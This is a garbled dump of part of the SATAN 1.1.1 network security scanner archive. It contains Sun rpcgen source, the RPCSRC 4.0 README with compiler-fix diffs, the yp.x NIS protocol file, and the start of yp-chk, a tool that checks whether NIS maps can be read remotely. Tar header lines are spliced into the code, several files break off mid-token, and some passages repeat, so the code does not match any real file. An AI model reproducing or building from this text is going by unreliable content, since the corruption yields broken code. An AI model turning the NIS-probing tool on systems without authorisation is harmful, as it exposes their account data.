  21311. ...     {TOK_DOUBLE, "double"},
  21312. ...     {TOK_FLOAT, "float"},
  21313. ...     {TOK_CHAR, "char"},
  21314. ...     {TOK_STRING, "string"},
  21315. ...     {TOK_OPAQUE, "opaque"},
  21316. ...     {TOK_BOOL, "bool"},
  21317. ...     {TOK_VOID, "void"},
  21318. ...     {TOK_PROGRAM, "program"},
  21319. ...     {TOK_VERSION, "version"},
  21320. ...     {TOK_EOF, "??????"}
  21321. };
  21322.  
  21323. static char *
  21324. toktostr(kind)
  21325. .tok_kind kind;
  21326. {
  21327. .token *sp;
  21328.  
  21329. .for (sp = tokstrings; sp->kind != TOK_EOF && sp->kind != kind; sp++);
  21330. .return (sp->str);
  21331. }
  21332.  
  21333.  
  21334.  
  21335. static
  21336. printbuf()
  21337. {
  21338. .char c;
  21339. .int i;
  21340. .int cnt;
  21341.  
  21342. #.define TABSIZE 4
  21343.  
  21344. .for (i = 0; c = curline[i]; i++) {
  21345. ..if (c == '\t') {
  21346. ...cnt = 8 - (i % TABSIZE);
  21347. ...c = ' ';
  21348. ..} else {
  21349. ...cnt = 1;
  21350. ..}
  21351. ..while (cnt--) {
  21352. ...(void) fputc(c, stderr);
  21353. ..}
  21354. .}
  21355. }
  21356.  
  21357.  
  21358. static
  21359. printwhere()
  21360. {
  21361. .int i;
  21362. .char c;
  21363. .int cnt;
  21364.  
  21365. .printbuf();
  21366. .for (i = 0; i < where - curline; i++) {
  21367. ..c = curline[i];
  21368. ..if (c == '\t') {
  21369. ...cnt = 8 - (i % TABSIZE);
  21370. ..} else {
  21371. ...cnt = 1;
  21372. ..}
  21373. ..while (cnt--) {
  21374. ...(void) fputc('^', stderr);
  21375. ..}
  21376. .}
  21377. .(void) fputc('\n', stderr);
  21378. }
  21379. .f_print(fout, "char *");
  21380. .} else {
  21381. ..f_print(fout, "%s ", follow ? fixtype(type) : type);
  21382. .}
  21383. }
  21384.  
  21385.  
  21386. static
  21387. typedefed(def, type)
  21388. .definition *def;
  21389. .char *type;
  21390. {
  21391. .if (def->def_kind != DEF_TYPEDEF || def->def.ty.old_prefix != NULL) {
  21392. ..return (0);
  21393. .} else {
  21394. ..return (streq(def->def_name, type));
  21395. .}
  21396. }
  21397.  
  21398. isvectordef(type, rel)
  21399. .char *type;
  21400. .relation rel;
  21401. {
  21402. .satan-1.1.1/src/rpcgen/rpc_util.h...................................................................   600 .   465 .   506 .       5071  5741525511  11740. ....................................................................................................
  21403. ................................................................................................................................................................................................................................................................/
  21404. * @(#)rpc_util.h.2.1 88/08/01 4.0 RPCSRC */
  21405. /*
  21406.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  21407.  * unrestricted use provided that this legend is included on all tape
  21408.  * media and as a part of the software program in whole or part.  Users
  21409.  * may copy or modify Sun RPC without charge, but are not authorized
  21410.  * to license or distribute it to anyone else except as part of a product or
  21411.  * program developed by the user.
  21412.  * 
  21413.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  21414.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  21415.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  21416.  * 
  21417.  * Sun RPC is provided with no support and without any obligation on the
  21418.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  21419.  * modification or enhancement.
  21420.  * 
  21421.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  21422.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  21423.  * OR ANY PART THEREOF.
  21424.  * 
  21425.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  21426.  * or profits or other special, indirect and consequential damages, even if
  21427.  * Sun has been advised of the possibility of such damages.
  21428.  * 
  21429.  * Sun Microsystems, Inc.
  21430.  * 2550 Garcia Avenue
  21431.  * Mountain View, California  94043
  21432.  */
  21433. /* @(#)rpc_util.h 1.6 87/06/24 (C) 1987 SMI */
  21434.  
  21435. /*
  21436.  * rpc_util.h, Useful definitions for the RPC protocol compiler 
  21437.  * Copyright (C) 1987, Sun Microsystems, Inc. 
  21438.  */
  21439. #define alloc(size)..malloc((unsigned)(size))
  21440. #define ALLOC(object)   (object *) malloc(sizeof(object))
  21441.  
  21442. #define s_print.(void) sprintf
  21443. #define f_print (void) fprintf
  21444.  
  21445. struct list {
  21446. .char *val;
  21447. .struct list *next;
  21448. };
  21449. typedef struct list list;
  21450.  
  21451. /*
  21452.  * Global variables 
  21453.  */
  21454. #define MAXLINESIZE 1024
  21455. extern char curline[MAXLINESIZE];
  21456. extern char *where;
  21457. extern int linenum;
  21458.  
  21459. extern char *infilename;
  21460. extern FILE *fout;
  21461. extern FILE *fin;
  21462.  
  21463. extern list *defined;
  21464.  
  21465. /*
  21466.  * rpc_util routines 
  21467.  */
  21468. void storeval();
  21469.  
  21470. #define STOREVAL(list,item).\
  21471. .storeval(list,(char *)item)
  21472.  
  21473. char *findval();
  21474.  
  21475. #define FINDVAL(list,item,finder) \
  21476. .findval(list, (char *) item, finder)
  21477.  
  21478. char *fixtype();
  21479. char *stringfix();
  21480. void pvname();
  21481. void ptype();
  21482. int isvectordef();
  21483. int streq();
  21484. void error();
  21485. void expected1();
  21486. void expected2();
  21487. void expected3();
  21488. void tabify();
  21489. void record_open();
  21490.  
  21491. /*
  21492.  * rpc_cout routines 
  21493.  */
  21494. void cprint();
  21495. void emit();
  21496.  
  21497. /*
  21498.  * rpc_hout routines 
  21499.  */
  21500. void print_datadef();
  21501.  
  21502. /*
  21503.  * rpc_svcout routines 
  21504.  */
  21505. void write_most();
  21506. void write_register();
  21507. void write_rest();
  21508. void write_programs();
  21509.  
  21510. /*
  21511.  * rpc_clntout routines
  21512.  */
  21513. void write_stubs();
  21514. nst"},
  21515. ...     {TOK_RPAREN, ")"},
  21516. ...     {TOK_LPAREN, "("},
  21517. ...     {TOK_RBRACE, "}"},
  21518. ...     {TOK_LBRACE, "{"},
  21519. ...     {TOK_LBRACKET, "["},
  21520. ...     {TOK_RBRACKET, "]"},
  21521. ...     {TOK_STAR, "*"},
  21522. ...     {TOK_COMMA, ","},
  21523. ...     {TOK_EQUAL, "="},
  21524. ...     {TOK_COLON, ":"},
  21525. ...     {TOK_SEMICOLON, ";"},
  21526. ...     {TOK_UNION, "union"},
  21527. ...     {TOK_STRUCT, "struct"},
  21528. ...     {TOK_SWITCH, "switch"},
  21529. ...     {TOK_CASE, "case"},
  21530. ...     {TOK_DEFAULT, "defasatan-1.1.1/src/rpcgen/README.......................................................................   600 .   465 .   506 .      23402  5741526674  10657. ..........................................................................
  21531. .................................................................................................................................................................................................................................................................
  21532. .........................This rpcgen source core comes from the freely distributable RPCSRC 4.0
  21533. release by Sun Microsystems, Inc (see README below). All I did was to
  21534. make it easier to build in an ANSI and POSIX environment. No changes to
  21535. program logic were needed.
  21536.  
  21537. .Wietse
  21538.  
  21539. RPCSRC 4.0 7/11/89
  21540.  
  21541. This distribution contains Sun Microsystem's implementation of the
  21542. RPC and XDR protocols and is compatible with 4.2BSD and 4.3BSD.  Also
  21543. included is complete documentation, utilities, RPC service
  21544. specification files, and demonstration services in the format used by
  21545. the RPC protocol compiler (rpcgen).  See WHAT'S NEW below for
  21546. details.
  21547.  
  21548. NOTE ABOUT SECURE RPC:
  21549.  
  21550. This release of RPCSRC contains most of the code needed to implement
  21551. Secure RPC (see "DES Authentication" in the RPC Protocol Specification,
  21552. doc/rpc.rfc.ms).  Due to legal considerations, we are unable to
  21553. distribute an implementation of DES, the Data Encryption Standard, which
  21554. Secure RPC requires.  For this reason, all of the files, documentation, and
  21555. programs associated with Secure RPC have been placed into a separate
  21556. directory, secure_rpc.  The RPC library contained in the main body of this
  21557. release *DOES NOT* support Secure RPC.  See secure_rpc/README for more
  21558. details.  (A DES library was posted in Volume 18 of comp.sources.unix.)
  21559.  
  21560. If you wish to report bugs found in this release, send mail to:
  21561.  
  21562. Portable ONC/NFS
  21563. Sun Microsystems, Inc
  21564. MS 12-33
  21565. 2550 Garcia Avenue
  21566. Mountain View, CA  94043
  21567.  
  21568. or send Email to nfsnet@sun.com (the Internet) or sun!nfsnet (Usenet).
  21569.  
  21570. ROADMAP
  21571.  
  21572. The directory hierarchy is as follows:
  21573.  
  21574.     demo/       Various demonstration services
  21575.     demo/dir        Remote directory lister
  21576.     demo/msg        Remote console message delivery service
  21577.     demo/sort       Remote sort service
  21578.  
  21579.     doc/        Documentation for RPC, XDR and NFS in "-ms" format.
  21580.  
  21581.     etc/        Utilities (rpcinfo and portmap).  portmap must be
  21582.                 started by root before any other RPC network services are
  21583.                 used.  SEE BELOW FOR BUGFIX TO 4.3BSD COMPILER.
  21584.  
  21585.     man/        Manual pages for RPC library, rpcgen, and utilities.
  21586.  
  21587.     rpc/        The RPC and XDR library.  SEE BELOW
  21588.                 FOR BUGFIX TO 4.2BSD COMPILER.
  21589.  
  21590.     rpcgen/     The RPC Language compiler (for .x files)
  21591.  
  21592.     rpcsvc/     Service definition files for various services and the
  21593.                 server and client code for the Remote Status service.
  21594.  
  21595.     secure_rpc/ The files in this directory are used to build a version of
  21596.                 the RPC library with DES Authentication.  See the README
  21597.                 file in that directory for more details.
  21598.  
  21599. BUILD INSTRUCTIONS
  21600.  
  21601. Makefiles can be found in all directories except for man.  The
  21602. Makefile in the top directory will cause these others to be invoked
  21603. (except for in the doc, man and demo directories), in turn building the
  21604. entire release.
  21605.  
  21606. WARNING!  THE DEFAULT INSTALLATION PROCEDURES WILL INSTALL FILES
  21607. IN /usr/include, /usr/lib, /usr/bin and /etc.
  21608.  
  21609. The master RPC include file, rpc/rpc.h, is used by all programs and
  21610. routines that use RPC.  It includes other RPC and system include files
  21611. needed by the RPC system.  PLEASE NOTE: If your system has NFS, it
  21612. may have been based on Sun's NFS Source.  The include files installed
  21613. by this package may duplicate include files you will find on your NFS
  21614. system.  The RPCSRC 4.0 include files are upwardly compatible to all
  21615. NFS Source include files as of the date of this distribution (not
  21616. including any new definitions or declarations added by your system
  21617. vendor).  HOWEVER: Please read the comments towards the end of
  21618. rpc/rpc.h regarding rpc/netdb.h.  You may need to uncomment the
  21619. inclusion of that file if the structures it defines are already
  21620. defined by your system's include files.
  21621.  
  21622. After making any compiler fixes that are needed (see below), at
  21623. the top directory, type:
  21624.  
  21625.     make install
  21626.  
  21627. For all installations, the Makefile macro DESTDIR is prepended to the
  21628. installation path.  It is defined to be null in the Makefiles, so
  21629. installations are relative to root.  (You will probably need root
  21630. privileges for installing the files under the default path.)  To
  21631. install the files under some other tree (e.g., /usr/local), use the
  21632. command:
  21633.  
  21634.     make install DESTDIR=/usr/local
  21635.  
  21636. This will place the include files in /usr/local/usr/include, the RPC
  21637. library in /usr/local/usr/lib, rpcgen in /usr/local/usr/bin, and the
  21638. utilities in /usr/local/etc.  You'll have to edit the Makefiles or
  21639. install the files by hand if you want to do anything other than this
  21640. kind of relocation of the installation tree.
  21641.  
  21642. The RPC library will be built and installed first.  By default it is
  21643. installed in /usr/lib as "librpclib.a".  The directory
  21644. /usr/include/rpc will also be created, and several header files will
  21645. be installed there.  ALL RPC SERVICES INCLUDE THESE HEADER FILES.
  21646.  
  21647. The programs in etc/ link in routines from librpclib.a.  If you change
  21648. where it is installed, be sure to edit etc/'s Makefile to reflect this.
  21649. These programs are installed in /etc.  PORTMAP MUST BE RUNNING ON
  21650. YOUR SYSTEM BEFORE YOU START ANY OTHER RPC SERVICE.
  21651.  
  21652. rpcgen is installed in /usr/bin.  This program is required to build
  21653. the demonstration services in demo and the rstat client and server in
  21654. rpcsvc/.
  21655.  
  21656. The rpcsvc/ directory will install its files in the directory
  21657. /usr/include/rpcsvc.  The Remote Status service (rstat_svc) will be
  21658. compiled and installed in /etc.  If you wish to make this service
  21659. available, you should either start this service when needed or have
  21660. it started at boot time by invoking it in your /etc/rc.local script.
  21661. (Be sure that portmap is started first!)  Sun has modified its
  21662. version of inetd to automatically start RPC services.  (Use "make
  21663. LIB=" when building rstat on a Sun Workstation.)  The Remote Status
  21664. client (rstat) will be installed in /usr/bin.  This program queries
  21665. the rstat_svc on a remote host and prints a system status summary
  21666. similar to the one printed by "uptime".
  21667.  
  21668. The documentation is not built during the "make install" command.
  21669. Typing "make" in the doc directory will cause all of the manuals to
  21670. be formatted using nroff into a single file.  We have had a report
  21671. that certain "troff" equivalents have trouble processing the full
  21672. manual.  If you have trouble, try building the manuals individually
  21673. (see the Makefile).
  21674.  
  21675. The demonstration services in the demo directory are not built by the
  21676. top-level "make install" command.  To build these, cd to the demo
  21677. directory and enter "make".  The three services will be built.
  21678. RPCGEN MUST BE INSTALLED in a path that make can find.  To run the
  21679. services, start the portmap program as root and invoke the service
  21680. (you probably will want to put it in the background).  rpcinfo can be
  21681. used to check that the service succeeded in getting registered with
  21682. portmap, and to ping the service (see rpcinfo's man page).  You can
  21683. then use the corresponding client program to exercise the service.
  21684. To build these services on a Sun workstation, you must prevent the
  21685. Makefile from trying to link the RPC library (as these routines are
  21686. already a part of Sun's libc).  Use: "make LIB=".
  21687.  
  21688. BUGFIX FOR 4.3BSD COMPILER
  21689.  
  21690. The use of a 'void *' declaration for one of the arguments in
  21691. the reply_proc() procedure in etc/rpcinfo.c will trigger a bug
  21692. in the 4.3BSD compiler.  The bug is fixed by the following change to
  21693. the compiler file mip/manifest.h:
  21694.  
  21695. *** manifest.h.r1.1.Thu Apr 30 13:52:25 1987
  21696. --- manifest.h.r1.2.Mon Nov 23 18:58:17 1987
  21697. ***************
  21698. *** 21,27 ****
  21699.   /*
  21700.    * Bogus type values
  21701.    */
  21702. ! #define TNULL.PTR../* pointer to UNDEF */
  21703.   #define TVOID.FTN../* function returning UNDEF (for void) */
  21704.   
  21705.   /*
  21706. --- 21,27 ----
  21707.   /*
  21708.    * Bogus type values
  21709.    */
  21710. ! #define TNULL.INCREF(MOETY)./* pointer to MOETY -- impossible type */
  21711.   #define TVOID.FTN../* function returning UNDEF (for void) */
  21712.   
  21713.   /*
  21714.  
  21715. If you cannot fix your compiler, change the declaration in reply_proc()
  21716. from 'void *' to 'char *'.
  21717.  
  21718. BUGFIX FOR 4.2BSD COMPILER
  21719.  
  21720. Unpatched 4.2BSD compilers complain about valid C.  You can make old
  21721. compilers happy by changing some voids to ints.  However, the fix to
  21722. the 4.2 VAX compiler is as follows (to mip/trees.c):
  21723.  
  21724. *** trees.c.r1.1.Mon May 11 13:47:58 1987
  21725. --- trees.c.r1.2.Wed Jul  2 18:28:52 1986
  21726. ***************
  21727. *** 1247,1253 ****
  21728.   ..if(o==CAST && mt1==0)return(TYPL+TYMATCH);
  21729.   ..if( mt12 & MDBI ) return( TYPL+LVAL+TYMATCH );
  21730.   ..else if( (mt1&MENU)||(mt2&MENU) ) return( LVAL+NCVT+TYPL+PTMATCH+PUN );
  21731. ! ..else if( mt12 == 0 ) break;
  21732.   ..else if( mt1 & MPTR ) return( LVAL+PTMATCH+PUN );
  21733.   ..else if( mt12 & MPTI ) return( TYPL+LVAL+TYMATCH+PUN );
  21734.   ..break;
  21735. --- 1261,1269 ----
  21736.   ..if(o==CAST && mt1==0)return(TYPL+TYMATCH);
  21737.   ..if( mt12 & MDBI ) return( TYPL+LVAL+TYMATCH );
  21738.   ..else if( (mt1&MENU)||(mt2&MENU) ) return( LVAL+NCVT+TYPL+PTMATCH+PUN );
  21739. ! ../* if right is TVOID and looks like a CALL, is not ok */
  21740. ! ..else if (mt2 == 0 && (p->in.right->in.op == CALL || p->in.right->in.op == UNARY CALL))
  21741. ! ...break;
  21742.   ..else if( mt1 & MPTR ) return( LVAL+PTMATCH+PUN );
  21743.   ..else if( mt12 & MPTI ) return( TYPL+LVAL+TYMATCH+PUN );
  21744.   ..break;
  21745.  
  21746. WHAT'S NEW IN THIS RELEASE: RPCSRC 4.0
  21747.  
  21748. The previous release was RPCSRC 3.9.  As with all previous releases,
  21749. this release is based directly on files from Sun Microsystem's
  21750. implementation.
  21751.  
  21752. Upgrade from RPCSRC 3.9
  21753.  
  21754. 1)  RPCSRC 4.0 upgrades RPCSRC 3.9.  Improvements from SunOS 4.0 have
  21755.     been integrated into this release.
  21756.  
  21757. Secure RPC (in the secure_rpc/ directory)
  21758.  
  21759. 2)  DES Authentication routines and programs are provided.
  21760. 3)  A new manual, "Secure NFS" is provided, which describes Secure RPC
  21761.     and Secure NFS.
  21762. 4)  Skeleton routines and manual pages are provided which describe the
  21763.     DES encryption procedures required by Secure RPC.  HOWEVER, NO DES
  21764.     ROUTINE IS PROVIDED.
  21765.  
  21766. New Functionality
  21767.  
  21768. 5)  rpcinfo can now be used to de-register services from the portmapper
  21769.     which may have terminated abnormally.
  21770. 6)  A new client, rstat, is provided which queries the rstat_svc and
  21771.     prints a status line similar to the one displayed by "uptime".
  21772. rinted by "uptime".
  21773.  
  21774. The documentation is not built during the "make install" command.
  21775. Typing "make" in the doc directory will cause all of the manuals to
  21776. be formatted using nroff into a single file.  We have had a report
  21777. that certain "troff" equivalentssatan-1.1.1/src/yp-chk/.............................................................................   700 .   465 .   506 .          0  5742521557   7600. .....................................................................
  21778. .................................................................................................................................................................................................................................................................
  21779. ..............................satan-1.1.1/src/yp-chk/Makefile.....................................................................   600 .   465 .   506 .        620  5741523062  11275. .......................................................................
  21780. .................................................................................................................................................................................................................................................................
  21781. ............................SHELL.= /bin/sh
  21782. BIN.= ../../bin
  21783. OBJECTS.= yp-chk.o yp_clnt.o yp_xdr.o 
  21784. MAKES.= yp.h yp_clnt.c yp_svc.c yp_xdr.c
  21785. PROG.= $(BIN)/yp-chk
  21786. CFLAGS.= -O -I. $(XFLAGS)
  21787. XFLAGS.= -DAUTH_GID_T=int
  21788. RPCGEN.= rpcgen
  21789. #LIBS.= -lsocket -lnsl
  21790.  
  21791. $(PROG):$(OBJECTS)
  21792. .$(CC) $(CFLAGS) -o $@ $(OBJECTS) $(LIBS)
  21793.  
  21794. yp.h yp_clnt.c yp_xdr.c: yp.x
  21795. .$(RPCGEN) $? 2>/dev/null
  21796.  
  21797. clean:
  21798. .rm -f $(PROG) *.o core $(MAKES)
  21799.  
  21800. yp-chk.o: yp.h
  21801. (to mip/trees.c):
  21802.  
  21803. *** trees.c.r1.1.Mon May 11 13:47:58 1987
  21804. --- trees.c.r1.2.Wed Jul  2 18:28:52 1986
  21805. *********satan-1.1.1/src/yp-chk/yp.x.........................................................................   600 .   465 .   506 .      14231  5737275724  10537. ............................................................................................
  21806. .................................................................................................................................................................................................................................................................
  21807. ......./*
  21808.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  21809.  * unrestricted use provided that this legend is included on all tape
  21810.  * media and as a part of the software program in whole or part.  Users
  21811.  * may copy or modify Sun RPC without charge, but are not authorized
  21812.  * to license or distribute it to anyone else except as part of a product or
  21813.  * program developed by the user.
  21814.  * 
  21815.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  21816.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  21817.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  21818.  * 
  21819.  * Sun RPC is provided with no support and without any obligation on the
  21820.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  21821.  * modification or enhancement.
  21822.  * 
  21823.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  21824.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  21825.  * OR ANY PART THEREOF.
  21826.  * 
  21827.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  21828.  * or profits or other special, indirect and consequential damages, even if
  21829.  * Sun has been advised of the possibility of such damages.
  21830.  * 
  21831.  * Sun Microsystems, Inc.
  21832.  * 2550 Garcia Avenue
  21833.  * Mountain View, California  94043
  21834.  */
  21835.  
  21836. /*
  21837.  * Protocol description file for the Yellow Pages Service
  21838.  */
  21839.  
  21840. #ifndef RPC_HDR
  21841. %#ifndef lint
  21842. %/*static char sccsid[] = "from: @(#)YP.x.2.1 88/08/01 4.0 RPCSRC";*/
  21843. %static char rcsid[] = "$Id: YP.x,v 1.1 1994/08/04 19:01:55 wollman Exp $";
  21844. %#endif /* not lint */
  21845. #endif
  21846.  
  21847. const YPMAXRECORD = 1024;
  21848. const YPMAXDOMAIN = 64;
  21849. const YPMAXMAP = 64;
  21850. const YPMAXPEER = 64;
  21851.  
  21852.  
  21853. enum YPstat {
  21854. .YP_TRUE..=  1,
  21855. .YP_NOMORE.=  2,
  21856. .YP_FALSE.=  0,
  21857. .YP_NOMAP.= -1,
  21858. .YP_NODOM.= -2,
  21859. .YP_NOKEY.= -3,
  21860. .YP_BADOP.= -4,
  21861. .YP_BADDB.= -5,
  21862. .YP_YPERR.= -6,
  21863. .YP_BADARGS.= -7,
  21864. .YP_VERS..= -8
  21865. };
  21866.  
  21867.  
  21868. enum YPxfrstat {
  21869. .YPXFR_SUCC.=  1,
  21870. .YPXFR_AGE.=  2,
  21871. .YPXFR_NOMAP.= -1,
  21872. .YPXFR_NODOM.= -2,
  21873. .YPXFR_RSRC.= -3,
  21874. .YPXFR_RPC.= -4,
  21875. .YPXFR_MADDR.= -5,
  21876. .YPXFR_YPERR.= -6,
  21877. .YPXFR_BADARGS.= -7,
  21878. .YPXFR_DBM.= -8,
  21879. .YPXFR_FILE.= -9,
  21880. .YPXFR_SKEW.= -10,
  21881. .YPXFR_CLEAR.= -11,
  21882. .YPXFR_FORCE.= -12,
  21883. .YPXFR_XFRERR.= -13,
  21884. .YPXFR_REFUSED.= -14
  21885. };
  21886.  
  21887.  
  21888. typedef string domainname<YPMAXDOMAIN>;
  21889. typedef string mapname<YPMAXMAP>;
  21890. typedef string peername<YPMAXPEER>;
  21891. typedef opaque keydat<YPMAXRECORD>;
  21892. typedef opaque valdat<YPMAXRECORD>;
  21893.  
  21894.  
  21895. struct YPmap_parms {
  21896. .domainname domain;.
  21897. .mapname map;
  21898. .unsigned int ordernum;
  21899. .peername peer;
  21900. };
  21901.  
  21902. struct YPreq_key {
  21903. .domainname domain;
  21904. .mapname map;
  21905. .keydat key;
  21906. };
  21907.  
  21908. struct YPreq_nokey {
  21909. .domainname domain;.
  21910. .mapname map;
  21911. };
  21912. .
  21913. struct YPreq_xfr {
  21914. .YPmap_parms map_parms;
  21915. .unsigned int transid;
  21916. .unsigned int prog;
  21917. .unsigned int port;
  21918. };
  21919.  
  21920.  
  21921. struct YPresp_val {
  21922. .YPstat stat;
  21923. .valdat val;
  21924. };
  21925.  
  21926. struct YPresp_key_val {
  21927. .YPstat stat;
  21928. .keydat key;
  21929. .valdat val;
  21930. };
  21931.  
  21932.  
  21933. struct YPresp_master {
  21934. .YPstat stat;.
  21935. .peername peer;
  21936. };
  21937.  
  21938. struct YPresp_order {
  21939. .YPstat stat;
  21940. .unsigned int ordernum;
  21941. };
  21942.  
  21943. union YPresp_all switch (bool more) {
  21944. case TRUE:
  21945. .YPresp_key_val val;
  21946. case FALSE:
  21947. .void;
  21948. };
  21949.  
  21950. struct YPresp_xfr {
  21951. .unsigned int transid;
  21952. .YPxfrstat xfrstat;
  21953. };
  21954.  
  21955. struct YPmaplist {
  21956. .mapname map;
  21957. .YPmaplist *next;
  21958. };
  21959.  
  21960. struct YPresp_maplist {
  21961. .YPstat stat;
  21962. .YPmaplist *maps;
  21963. };
  21964.  
  21965. enum YPpush_status {
  21966. .YPPUSH_SUCC.=  1,./* Success */
  21967. .YPPUSH_AGE .=  2,./* Master's version not newer */
  21968. .YPPUSH_NOMAP.= -1,./* Can't find server for map */
  21969. .YPPUSH_NODOM.= -2,./* Domain not supported */
  21970. .YPPUSH_RSRC.= -3,./* Local resource alloc failure */
  21971. .YPPUSH_RPC.= -4,./* RPC failure talking to server */
  21972. .YPPUSH_MADDR .= -5,./* Can't get master address */
  21973. .YPPUSH_YPERR.= -6,./* YP server/map db error */
  21974. .YPPUSH_BADARGS.= -7,./* Request arguments bad */
  21975. .YPPUSH_DBM.= -8,./* Local dbm operation failed */
  21976. .YPPUSH_FILE.= -9,./* Local file I/O operation failed */
  21977. .YPPUSH_SKEW.= -10,./* Map version skew during transfer */
  21978. .YPPUSH_CLEAR.= -11,./* Can't send "Clear" req to local YPserv */
  21979. .YPPUSH_FORCE.= -12,./* No local order number in map  use -f flag. */
  21980. .YPPUSH_XFRERR .= -13,./* YPxfr error */
  21981. .YPPUSH_REFUSED.= -14 ./* Transfer request refused by YPserv */
  21982. };
  21983.  
  21984. struct YPpushresp_xfr {
  21985. .unsigned transid;
  21986. .YPpush_status status;
  21987. };
  21988.  
  21989. /*
  21990.  * Response structure and overall result status codes.  Success and failure
  21991.  * represent two separate response message types.
  21992.  */
  21993.  
  21994. enum YPbind_resptype {
  21995. .YPBIND_SUCC_VAL = 1, 
  21996. .YPBIND_FAIL_VAL = 2
  21997. };
  21998.  
  21999. struct YPbind_binding {
  22000.     opaque YPbind_binding_addr[4]; /* In network order */
  22001.     opaque YPbind_binding_port[2]; /* In network order */
  22002. };   
  22003.  
  22004. union YPbind_resp switch (YPbind_resptype YPbind_status) {
  22005. case YPBIND_FAIL_VAL:
  22006.         unsigned YPbind_error;
  22007. case YPBIND_SUCC_VAL:
  22008.         YPbind_binding YPbind_bindinfo;
  22009. };     
  22010.  
  22011. /* Detailed failure reason codes for response field YPbind_error*/
  22012.  
  22013. const YPBIND_ERR_ERR    = 1;./* Internal error */
  22014. const YPBIND_ERR_NOSERV = 2;./* No bound server for passed domain */
  22015. const YPBIND_ERR_RESC   = 3;./* System resource allocation failure */
  22016.  
  22017.  
  22018. /*
  22019.  * Request data structure for YPbind "Set domain" procedure.
  22020.  */
  22021. struct YPbind_setdom {
  22022. .domainname YPsetdom_domain;
  22023. .YPbind_binding YPsetdom_binding;
  22024. .unsigned YPsetdom_vers;
  22025. };
  22026.  
  22027.  
  22028. /*
  22029.  * YP access protocol
  22030.  */
  22031. program YPPROG {
  22032. .version YPVERS {
  22033. ..void 
  22034. ..YPPROC_NULL(void) = 0;
  22035.  
  22036. ..bool 
  22037. ..YPPROC_DOMAIN(domainname) = 1;.
  22038.  
  22039. ..bool
  22040. ..YPPROC_DOMAIN_NONACK(domainname) = 2;
  22041.  
  22042. ..YPresp_val
  22043. ..YPPROC_MATCH(YPreq_key) = 3;
  22044.  
  22045. ..YPresp_key_val 
  22046. ..YPPROC_FIRST(YPreq_key) = 4;
  22047.  
  22048. ..YPresp_key_val 
  22049. ..YPPROC_NEXT(YPreq_key) = 5;
  22050.  
  22051. ..YPresp_xfr
  22052. ..YPPROC_XFR(YPreq_xfr) = 6;
  22053.  
  22054. ..void
  22055. ..YPPROC_CLEAR(void) = 7;
  22056.  
  22057. ..YPresp_all
  22058. ..YPPROC_ALL(YPreq_nokey) = 8;
  22059.  
  22060. ..YPresp_master
  22061. ..YPPROC_MASTER(YPreq_nokey) = 9;
  22062.  
  22063. ..YPresp_order
  22064. ..YPPROC_ORDER(YPreq_nokey) = 10;
  22065.  
  22066. ..YPresp_maplist 
  22067. ..YPPROC_MAPLIST(domainname) = 11;
  22068. .} = 2;
  22069. } = 100004;
  22070.  
  22071.  
  22072. /*
  22073.  * YPPUSHPROC_XFRRESP is the callback routine for result of YPPROC_XFR
  22074.  */
  22075. program YPPUSH_XFRRESPPROG {
  22076. .version YPPUSH_XFRRESPVERS {
  22077. ..void
  22078. ..YPPUSHPROC_NULL(void) = 0;
  22079.  
  22080. ..YPpushresp_xfr.
  22081. ..YPPUSHPROC_XFRRESP(void) = 1;
  22082. .} = 1;
  22083. } = 0x40000000;./* transient: could be anything up to 0x5fffffff */
  22084.  
  22085.  
  22086. /*
  22087.  * YP binding protocol
  22088.  */
  22089. program YPBINDPROG {
  22090. .version YPBINDVERS {
  22091. ..void
  22092. ..YPBINDPROC_NULL(void) = 0;
  22093. .
  22094. ..YPbind_resp
  22095. ..YPBINDPROC_DOMAIN(domainname) = 1;
  22096.  
  22097. ..void
  22098. ..YPBINDPROC_SETDOM(YPbind_setdom) = 2;
  22099. .} = 2;
  22100. } = 100007;
  22101.  
  22102.  
  22103.  stat;
  22104. .valdat val;
  22105. };
  22106.  
  22107. struct YPresp_key_val {
  22108. .YPstat stat;
  22109. .keydat key;
  22110. .valdat val;
  22111. };
  22112.  
  22113.  
  22114. struct YPresp_master {
  22115. .YPstat stat;.
  22116. .peername peer;
  22117. };
  22118.  
  22119. struct YPresp_order {
  22120. .YPstat stat;
  22121. .unsigned int ordernum;
  22122. };
  22123.  
  22124. union YPresp_all switch (bool more) {
  22125. case TRUE:
  22126. .YPresp_key_val val;
  22127. case FALSE:
  22128. .void;
  22129. };
  22130.  
  22131. struct YPresp_xfr {
  22132. .unsigned int transid;
  22133. .YPxfrstsatan-1.1.1/src/yp-chk/yp-chk.c.....................................................................   600 .   465 .   506 .      10720  5740245235  11240. .............................................................................................
  22134. .................................................................................................................................................................................................................................................................
  22135. ...... /*
  22136.   * Simple NIS map accessibility checker. Prints the first record when it
  22137.   * succeeds.
  22138.   * 
  22139.   * Author: Wietse Venema.
  22140.   */
  22141.  
  22142. #define PORTMAP
  22143.  
  22144. #include <sys/types.h>
  22145. #include <sys/socket.h>
  22146. #include <sys/time.h>
  22147. #include <string.h>
  22148. #include <stdlib.h>
  22149. #include <unistd.h>
  22150. #include <stdio.h>
  22151. #include <errno.h>
  22152. #include <netdb.h>
  22153. #include <netinet/in.h>
  22154. #include <arpa/inet.h>
  22155. #include <rpc/rpc.h>
  22156.  
  22157. #ifndef  INADDR_NONE
